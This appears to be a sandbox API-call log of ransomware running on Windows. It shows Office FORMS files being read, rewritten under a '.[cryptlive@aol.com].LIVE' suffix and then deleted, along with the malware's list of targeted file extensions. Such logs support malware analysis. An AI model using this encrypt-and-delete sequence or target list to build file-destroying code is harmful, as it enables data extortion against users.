SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.722] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docl.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0156.722] GetLastError () returned 0x0 [0156.722] ReadFile (in: hFile=0x3a0, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x436, lpOverlapped=0x0) returned 1 [0156.744] WriteFile (in: hFile=0x1f8, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x440, lpOverlapped=0x0) returned 1 [0156.745] ReadFile (in: hFile=0x3a0, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.745] WriteFile (in: hFile=0x1f8, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0156.745] SetEndOfFile (hFile=0x1f8) returned 1 [0156.745] CloseHandle (hObject=0x1f8) returned 1 [0156.745] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.745] SetEndOfFile (hFile=0x3a0) returned 1 [0156.747] CloseHandle (hObject=0x3a0) returned 1 [0156.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.747] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docl.ico")) returned 1 [0156.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62 [0156.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62 [0156.748] lstrlenW (lpString=".doc") returned 4 [0156.748] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0156.748] lstrlenW (lpString=".docx") returned 5 [0156.748] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0156.748] lstrlenW (lpString=".pdf") returned 4 [0156.748] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0156.748] lstrlenW (lpString=".xls") returned 4 [0156.748] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0156.749] lstrlenW (lpString=".xlsx") returned 5 [0156.749] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0156.749] lstrlenW (lpString=".ppt") returned 4 [0156.749] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0156.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62 [0156.749] lstrlenW (lpString=".zip") returned 4 [0156.749] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0156.749] lstrlenW (lpString=".rar") returned 4 [0156.749] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0156.749] lstrlenW (lpString=".bz2") returned 4 [0156.749] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0156.749] lstrlenW (lpString=".7z") returned 3 [0156.749] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0156.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62 [0156.749] lstrlenW (lpString=".dbf") returned 4 [0156.749] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0156.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62 [0156.749] lstrlenW (lpString=".1cd") returned 4 [0156.749] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0156.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62 [0156.749] lstrlenW (lpString=".jpg") returned 4 [0156.749] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0156.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62 [0156.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62 [0156.749] lstrlenW (lpString=".doc") returned 4 [0156.749] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0156.749] lstrlenW (lpString=".docx") returned 5 [0156.749] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0156.749] lstrlenW (lpString=".pdf") returned 4 [0156.749] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0156.749] lstrlenW (lpString=".xls") returned 4 [0156.749] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0156.749] lstrlenW (lpString=".xlsx") returned 5 [0156.749] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0156.749] lstrlenW (lpString=".ppt") returned 4 [0156.749] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0156.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62 [0156.750] lstrlenW (lpString=".zip") returned 4 [0156.750] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0156.750] lstrlenW (lpString=".rar") returned 4 [0156.750] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0156.750] lstrlenW (lpString=".bz2") returned 4 [0156.750] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0156.750] lstrlenW (lpString=".7z") returned 3 [0156.750] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0156.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62 [0156.750] lstrlenW (lpString=".dbf") returned 4 [0156.750] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0156.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62 [0156.750] lstrlenW (lpString=".1cd") returned 4 [0156.750] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0156.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62 [0156.750] lstrlenW (lpString=".jpg") returned 4 [0156.750] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0156.750] lstrcmpiW (lpString1=".CFG", lpString2=".LIVE") returned -1 [0156.750] lstrlenW (lpString="EXITEM.CFG") returned 10 [0156.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitem.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0156.751] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=838) returned 1 [0156.751] CloseHandle (hObject=0x3a0) returned 1 [0156.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitem.cfg")) returned 0x20 [0156.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitem.cfg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitem.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0156.752] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.752] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitem.cfg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0156.753] GetLastError () returned 0x0 [0156.753] ReadFile (in: hFile=0x3a0, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x346, lpOverlapped=0x0) returned 1 [0156.755] WriteFile (in: hFile=0x1f8, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x350, lpOverlapped=0x0) returned 1 [0156.756] ReadFile (in: hFile=0x3a0, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.756] WriteFile (in: hFile=0x1f8, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0156.756] SetEndOfFile (hFile=0x1f8) returned 1 [0156.756] CloseHandle (hObject=0x1f8) returned 1 [0156.756] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.757] SetEndOfFile (hFile=0x3a0) returned 1 [0156.759] CloseHandle (hObject=0x3a0) returned 1 [0156.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.760] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitem.cfg")) returned 1 [0156.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64 [0156.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64 [0156.761] lstrlenW (lpString=".doc") returned 4 [0156.761] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0156.761] lstrlenW (lpString=".docx") returned 5 [0156.761] lstrcmpiW (lpString1=".docx", lpString2="M.CFG") returned -1 [0156.761] lstrlenW (lpString=".pdf") returned 4 [0156.761] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0156.761] lstrlenW (lpString=".xls") returned 4 [0156.761] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0156.761] lstrlenW (lpString=".xlsx") returned 5 [0156.761] lstrcmpiW (lpString1=".xlsx", lpString2="M.CFG") returned -1 [0156.761] lstrlenW (lpString=".ppt") returned 4 [0156.761] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0156.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64 [0156.761] lstrlenW (lpString=".zip") returned 4 [0156.761] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0156.761] lstrlenW (lpString=".rar") returned 4 [0156.761] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0156.761] lstrlenW (lpString=".bz2") returned 4 [0156.761] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0156.761] lstrlenW (lpString=".7z") returned 3 [0156.761] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0156.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64 [0156.761] lstrlenW (lpString=".dbf") returned 4 [0156.762] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0156.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64 [0156.762] lstrlenW (lpString=".1cd") returned 4 [0156.762] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0156.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64 [0156.762] lstrlenW (lpString=".jpg") returned 4 [0156.762] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0156.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64 [0156.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64 [0156.762] lstrlenW (lpString=".doc") returned 4 [0156.762] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0156.762] lstrlenW (lpString=".docx") returned 5 [0156.762] lstrcmpiW (lpString1=".docx", lpString2="M.CFG") returned -1 [0156.762] lstrlenW (lpString=".pdf") returned 4 [0156.762] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0156.762] lstrlenW (lpString=".xls") returned 4 [0156.762] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0156.762] lstrlenW (lpString=".xlsx") returned 5 [0156.762] lstrcmpiW (lpString1=".xlsx", lpString2="M.CFG") returned -1 [0156.762] lstrlenW (lpString=".ppt") returned 4 [0156.762] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0156.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64 [0156.762] lstrlenW (lpString=".zip") returned 4 [0156.762] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0156.762] lstrlenW (lpString=".rar") returned 4 [0156.762] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0156.762] lstrlenW (lpString=".bz2") returned 4 [0156.762] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0156.762] lstrlenW (lpString=".7z") returned 3 [0156.762] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0156.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64 [0156.763] lstrlenW (lpString=".dbf") returned 4 [0156.763] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0156.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64 [0156.763] lstrlenW (lpString=".1cd") returned 4 [0156.763] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0156.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64 [0156.763] lstrlenW (lpString=".jpg") returned 4 [0156.763] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0156.763] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0156.763] lstrlenW (lpString="EXITEML.ICO") returned 11 [0156.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exiteml.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0156.764] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1078) returned 1 [0156.764] CloseHandle (hObject=0x3a0) returned 1 [0156.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exiteml.ico")) returned 0x20 [0156.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exiteml.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exiteml.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0156.764] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.764] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exiteml.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0156.766] GetLastError () returned 0x0 [0156.766] ReadFile (in: hFile=0x3a0, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x436, lpOverlapped=0x0) returned 1 [0156.767] WriteFile (in: hFile=0x1f8, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x440, lpOverlapped=0x0) returned 1 [0156.768] ReadFile (in: hFile=0x3a0, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.768] WriteFile (in: hFile=0x1f8, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0156.768] SetEndOfFile (hFile=0x1f8) returned 1 [0156.769] CloseHandle (hObject=0x1f8) returned 1 [0156.769] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.769] SetEndOfFile (hFile=0x3a0) returned 1 [0156.771] CloseHandle (hObject=0x3a0) returned 1 [0156.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.772] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exiteml.ico")) returned 1 [0156.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65 [0156.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65 [0156.773] lstrlenW (lpString=".doc") returned 4 [0156.773] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0156.773] lstrlenW (lpString=".docx") returned 5 [0156.773] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0156.773] lstrlenW (lpString=".pdf") returned 4 [0156.773] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0156.773] lstrlenW (lpString=".xls") returned 4 [0156.773] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0156.773] lstrlenW (lpString=".xlsx") returned 5 [0156.773] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0156.773] lstrlenW (lpString=".ppt") returned 4 [0156.773] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0156.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65 [0156.773] lstrlenW (lpString=".zip") returned 4 [0156.773] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0156.773] lstrlenW (lpString=".rar") returned 4 [0156.773] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0156.773] lstrlenW (lpString=".bz2") returned 4 [0156.773] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0156.773] lstrlenW (lpString=".7z") returned 3 [0156.773] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0156.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65 [0156.773] lstrlenW (lpString=".dbf") returned 4 [0156.773] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0156.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65 [0156.773] lstrlenW (lpString=".1cd") returned 4 [0156.773] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0156.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65 [0156.774] lstrlenW (lpString=".jpg") returned 4 [0156.774] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0156.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65 [0156.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65 [0156.774] lstrlenW (lpString=".doc") returned 4 [0156.774] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0156.774] lstrlenW (lpString=".docx") returned 5 [0156.774] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0156.774] lstrlenW (lpString=".pdf") returned 4 [0156.774] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0156.774] lstrlenW (lpString=".xls") returned 4 [0156.774] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0156.774] lstrlenW (lpString=".xlsx") returned 5 [0156.774] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0156.774] lstrlenW (lpString=".ppt") returned 4 [0156.774] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0156.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65 [0156.774] lstrlenW (lpString=".zip") returned 4 [0156.774] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0156.774] lstrlenW (lpString=".rar") returned 4 [0156.774] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0156.774] lstrlenW (lpString=".bz2") returned 4 [0156.774] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0156.774] lstrlenW (lpString=".7z") returned 3 [0156.774] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0156.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65 [0156.774] lstrlenW (lpString=".dbf") returned 4 [0156.774] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0156.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65 [0156.774] lstrlenW (lpString=".1cd") returned 4 [0156.774] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0156.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65 [0156.774] lstrlenW (lpString=".jpg") returned 4 [0156.775] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0156.775] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0156.775] lstrlenW (lpString="EXITEMS.ICO") returned 11 [0156.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitems.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0156.776] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2998) returned 1 [0156.776] CloseHandle (hObject=0x3a0) returned 1 [0156.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitems.ico")) returned 0x20 [0156.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitems.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitems.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0156.777] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.777] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitems.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0156.780] GetLastError () returned 0x0 